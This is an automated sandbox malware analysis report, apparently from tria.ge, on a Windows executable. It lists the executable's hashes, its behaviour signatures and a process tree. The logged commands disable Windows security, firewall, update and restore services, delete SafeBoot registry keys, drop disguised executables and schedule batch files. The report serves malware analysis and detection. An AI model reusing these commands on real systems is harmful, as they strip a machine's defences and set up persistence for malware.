Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
2s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
26/12/2023, 07:20
Static task
static1
Behavioral task
behavioral1
Sample
5c2094a2e13ef3b1829b7e4b4144da1b.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
5c2094a2e13ef3b1829b7e4b4144da1b.exe
Resource
win10v2004-20231222-en
General
-
Target
5c2094a2e13ef3b1829b7e4b4144da1b.exe
-
Size
467KB
-
MD5
5c2094a2e13ef3b1829b7e4b4144da1b
-
SHA1
d4b91cd00013777e963cfadf08612fdc2f374a61
-
SHA256
027de56d376cb74a6b55582cd377f0582f7dfd306732782c680739d8468bed05
-
SHA512
b25d18a33c330433740410cabc168647956837e2a013fae1c5f486ff5e90a73cea3deca5730102f17e7bf7556ed48e5a70d0240f4a525e0d2c67c88d5e0d588a
-
SSDEEP
12288:UZWtI6RkjLuVM2eZJys73dOvXDpNjNe8r:Uuhaj0M2eZJ8NI8r
Malware Config
Signatures
-
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\Option.bat 5c2094a2e13ef3b1829b7e4b4144da1b.exe -
Drops file in Windows directory 5 IoCs
description ioc Process File created C:\Windows\Sysinf.bat 5c2094a2e13ef3b1829b7e4b4144da1b.exe File created C:\Windows\system\KavUpda.exe 5c2094a2e13ef3b1829b7e4b4144da1b.exe File opened for modification C:\Windows\system\KavUpda.exe 5c2094a2e13ef3b1829b7e4b4144da1b.exe File created C:\Windows\Help\HelpCat.exe 5c2094a2e13ef3b1829b7e4b4144da1b.exe File opened for modification C:\Windows\Help\HelpCat.exe 5c2094a2e13ef3b1829b7e4b4144da1b.exe -
Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2840 sc.exe 1568 sc.exe 2948 sc.exe 2968 sc.exe 1764 sc.exe 328 sc.exe 1052 sc.exe 1628 sc.exe -
Runs net.exe
-
Runs regedit.exe 1 IoCs
pid Process 2260 regedit.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1948 wrote to memory of 2700 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 20 PID 1948 wrote to memory of 2700 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 20 PID 1948 wrote to memory of 2700 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 20 PID 1948 wrote to memory of 2700 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 20 PID 1948 wrote to memory of 2808 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 18 PID 1948 wrote to memory of 2808 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 18 PID 1948 wrote to memory of 2808 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 18 PID 1948 wrote to memory of 2808 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 18 PID 2808 wrote to memory of 2888 2808 net.exe 16 PID 2808 wrote to memory of 2888 2808 net.exe 16 PID 2808 wrote to memory of 2888 2808 net.exe 16 PID 2808 wrote to memory of 2888 2808 net.exe 16 PID 1948 wrote to memory of 2616 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 141 PID 1948 wrote to memory of 2616 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 141 PID 1948 wrote to memory of 2616 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 141 PID 1948 wrote to memory of 2616 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 141 PID 1948 wrote to memory of 2420 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 73 PID 1948 wrote to memory of 2420 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 73 PID 1948 wrote to memory of 2420 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 73 PID 1948 wrote to memory of 2420 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 73 PID 1948 wrote to memory of 2768 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 71 PID 1948 wrote to memory of 2768 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 71 PID 1948 wrote to memory of 2768 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 71 PID 1948 wrote to memory of 2768 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 71 PID 1948 wrote to memory of 3008 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 69 PID 1948 wrote to memory of 3008 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 69 PID 1948 wrote to memory of 3008 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 69 PID 1948 wrote to memory of 3008 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 69 PID 1948 wrote to memory of 2984 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 68 PID 1948 wrote to memory of 2984 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 68 PID 1948 wrote to memory of 2984 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 68 PID 1948 wrote to memory of 2984 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 68 PID 1948 wrote to memory of 2624 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 63 PID 1948 wrote to memory of 2624 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 63 PID 1948 wrote to memory of 2624 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 63 PID 1948 wrote to memory of 2624 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 63 PID 2420 wrote to memory of 2608 2420 cmd.exe 65 PID 2420 wrote to memory of 2608 2420 cmd.exe 65 PID 2420 wrote to memory of 2608 2420 cmd.exe 65 PID 2420 wrote to memory of 2608 2420 cmd.exe 65 PID 3008 wrote to memory of 2640 3008 net.exe 62 PID 3008 wrote to memory of 2640 3008 net.exe 62 PID 3008 wrote to memory of 2640 3008 net.exe 62 PID 3008 wrote to memory of 2640 3008 net.exe 62 PID 1948 wrote to memory of 2220 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 33 PID 1948 wrote to memory of 2220 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 33 PID 1948 wrote to memory of 2220 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 33 PID 1948 wrote to memory of 2220 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 33 PID 2984 wrote to memory of 1768 2984 Process not Found 60 PID 2984 wrote to memory of 1768 2984 Process not Found 60 PID 2984 wrote to memory of 1768 2984 Process not Found 60 PID 2984 wrote to memory of 1768 2984 Process not Found 60 PID 2624 wrote to memory of 2488 2624 net.exe 184 PID 2624 wrote to memory of 2488 2624 net.exe 184 PID 2624 wrote to memory of 2488 2624 net.exe 184 PID 2624 wrote to memory of 2488 2624 net.exe 184 PID 2768 wrote to memory of 1720 2768 cmd.exe 57 PID 2768 wrote to memory of 1720 2768 cmd.exe 57 PID 2768 wrote to memory of 1720 2768 cmd.exe 57 PID 2768 wrote to memory of 1720 2768 cmd.exe 57 PID 1948 wrote to memory of 2004 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 56 PID 1948 wrote to memory of 2004 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 56 PID 1948 wrote to memory of 2004 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 56 PID 1948 wrote to memory of 2004 1948 5c2094a2e13ef3b1829b7e4b4144da1b.exe 56 -
Views/modifies file attributes 1 TTPs 16 IoCs
pid Process 380 attrib.exe 2936 attrib.exe 296 attrib.exe 2060 attrib.exe 1808 attrib.exe 2372 attrib.exe 1776 attrib.exe 2740 attrib.exe 1832 attrib.exe 2616 attrib.exe 2532 attrib.exe 1644 attrib.exe 1860 attrib.exe 2660 attrib.exe 2128 attrib.exe 2488 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5c2094a2e13ef3b1829b7e4b4144da1b.exe"C:\Users\Admin\AppData\Local\Temp\5c2094a2e13ef3b1829b7e4b4144da1b.exe"1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\SysWOW64\net.exenet.exe start schedule /y2⤵
- Suspicious use of WriteProcessMemory
PID:2808
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\system32\Option.bat2⤵PID:2700
-
-
C:\Windows\SysWOW64\net.exenet.exe stop srservice /y2⤵PID:2220
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop srservice /y3⤵PID:2944
-
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2840
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f2⤵PID:1644
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f2⤵PID:1640
-
-
C:\Windows\SysWOW64\regedit.exeregedit.exe /s C:\Windows\regedt32.sys2⤵
- Runs regedit.exe
PID:2260
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled2⤵
- Launches sc.exe
PID:1568
-
-
C:\Windows\system\KavUpda.exeC:\Windows\system\KavUpda.exe2⤵PID:1772
-
C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y3⤵PID:336
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv /y4⤵PID:2092
-
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled3⤵
- Launches sc.exe
PID:1764
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:3016
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:2116
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f3⤵PID:2164
-
-
C:\Windows\SysWOW64\reg.exeC:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f3⤵PID:2356
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled3⤵
- Launches sc.exe
PID:328
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config wscsvc start= disabled3⤵
- Launches sc.exe
PID:1052
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:1628
-
-
C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y3⤵PID:2076
-
-
C:\Windows\SysWOW64\net.exenet.exe stop srservice /y3⤵PID:1496
-
-
C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y3⤵PID:3056
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y3⤵PID:1928
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 3:36:53 AM C:\Windows\Sysinf.bat3⤵PID:2332
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 3:33:53 AM C:\Windows\Sysinf.bat3⤵PID:1120
-
-
C:\Windows\SysWOW64\At.exeAt.exe 3:34:51 AM C:\Windows\Help\HelpCat.exe3⤵PID:2052
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:2124
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:2372
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:2956
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:2696
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:2960
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:1588
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:1824
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:1800
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:1252
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:1676
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:2064
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:1036
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:1788
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:2588
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:1620
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:1672
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:2468
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:1548
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:2812
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:2824
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:2780
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:2664
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:2840
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d4⤵
- Views/modifies file attributes
PID:296
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:1668
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:1692
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:2768
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir F:\Autorun.inf /s /q3⤵PID:1964
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d3⤵PID:1452
-
-
C:\Windows\SysWOW64\cmd.execmd /c rmdir C:\Autorun.inf /s /q3⤵PID:540
-
-
C:\Windows\SysWOW64\cmd.execmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵PID:3052
-
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config SharedAccess start= disabled2⤵
- Launches sc.exe
PID:2948
-
-
C:\Windows\SysWOW64\sc.exeC:\Windows\system32\sc.exe config srservice start= disabled2⤵
- Launches sc.exe
PID:2968
-
-
C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y2⤵PID:2004
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y2⤵
- Suspicious use of WriteProcessMemory
PID:2624
-
-
C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y2⤵PID:2984
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y2⤵
- Suspicious use of WriteProcessMemory
PID:3008
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 3:36:50 AM C:\Windows\Sysinf.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵
- Views/modifies file attributes
PID:1644
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c at 3:33:50 AM C:\Windows\Sysinf.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2420
-
-
C:\Windows\SysWOW64\At.exeAt.exe 3:34:48 AM C:\Windows\Help\HelpCat.exe2⤵PID:2616
-
-
C:\Windows\SysWOW64\net.exenet.exe stop 360timeprot /y2⤵PID:1548
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d3⤵
- Views/modifies file attributes
PID:2532
-
-
-
C:\Windows\SysWOW64\net.exenet.exe stop srservice /y2⤵PID:836
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wuauserv /y2⤵PID:640
-
-
C:\Windows\SysWOW64\net.exenet.exe stop sharedaccess /y2⤵PID:568
-
-
C:\Windows\SysWOW64\net.exenet.exe stop wscsvc /y2⤵PID:2132
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start schedule /y1⤵PID:2888
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start schedule /y1⤵PID:2276
-
C:\Windows\SysWOW64\net.exenet.exe start schedule /y1⤵PID:2136
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\system32\Option.bat1⤵PID:840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360timeprot /y1⤵PID:2956
-
C:\Windows\SysWOW64\at.exeat 3:36:50 AM C:\Windows\Sysinf.bat1⤵PID:1720
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv /y1⤵PID:2488
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess /y1⤵PID:1768
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wscsvc /y1⤵PID:2640
-
C:\Windows\SysWOW64\at.exeat 3:33:50 AM C:\Windows\Sysinf.bat1⤵PID:2608
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:1860
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360timeprot /y1⤵PID:1152
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop srservice /y1⤵PID:1056
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv /y1⤵PID:1688
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop 360timeprot /y1⤵PID:1008
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess /y1⤵PID:2320
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop srservice /y1⤵PID:2068
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wscsvc /y1⤵PID:1788
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sharedaccess /y1⤵PID:2384
-
C:\Windows\SysWOW64\at.exeat 3:36:53 AM C:\Windows\Sysinf.bat1⤵PID:1104
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wscsvc /y1⤵PID:1492
-
C:\Windows\SysWOW64\at.exeat 3:33:53 AM C:\Windows\Sysinf.bat1⤵PID:1036
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d2⤵
- Views/modifies file attributes
PID:2936
-
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2740
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:1832
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2616
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2660
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:380
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2128
-
C:\Windows\system32\taskeng.exetaskeng.exe {2CE822DB-0042-4ACF-8135-DED1E6507201} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:384
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:1808
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2372
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2488
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r F:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:2060
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h -r C:\Autorun.inf\*.* /s /d1⤵
- Views/modifies file attributes
PID:1776